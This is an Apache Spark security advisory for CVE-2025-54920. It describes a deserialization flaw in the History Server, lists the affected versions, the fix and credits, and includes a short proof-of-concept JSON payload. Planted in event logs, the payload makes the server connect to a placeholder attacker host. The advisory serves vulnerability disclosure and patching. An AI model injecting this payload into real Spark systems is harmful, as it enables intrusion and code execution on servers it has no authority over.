Severity: low
Affected versions:
- Apache Spark (org.apache.spark:spark-core_2.13,
org.apache.spark:spark-core_2.12) before 3.5.7
- Apache Spark (org.apache.spark:spark-core_2.13,
org.apache.spark:spark-core_2.12) 4.0.0 before 4.0.1
Description:
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended
to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability
in the Spark History Web UI due to overly permissive Jackson deserialization of
event log data. This allows an attacker with access to the Spark event logs
directory to inject malicious JSON payloads that trigger deserialization of
arbitrary classes, enabling command execution on the host running the Spark
History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson
polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent
objects, allowing an attacker to specify arbitrary class names in the event
JSON. This behavior permits instantiating unintended classes, such as
org.apache.hive.jdbc.HiveConnection, which can perform network calls or other
malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark
event log files, which the History Server then deserializes on startup or when
loading event logs. For example, the attacker can force the History Server to
open a JDBC connection to a remote attacker-controlled server, demonstrating
remote command injection capability.
Proof of Concept:
1. Run Spark with event logging enabled, writing to a writable directory
(spark-logs).
2. Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
3. Start the Spark History Server with logs pointing to the modified directory.
4. The Spark History Server initiates a JDBC connection to the attacker’s
server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on
the server running the History Server, potentially compromising the entire
system.
This issue is being tracked as SPARK-52381
Credit:
Alexandre Pujol (Linagora) (finder)
References:
https://github.com/apache/spark/pull/51312
https://github.com/apache/spark/pull/51323
https://issues.apache.org/jira/browse/SPARK-52381
https://spark.apache.org/
https://www.cve.org/CVERecord?id=CVE-2025-54920
https://issues.apache.org/jira/browse/SPARK-52381
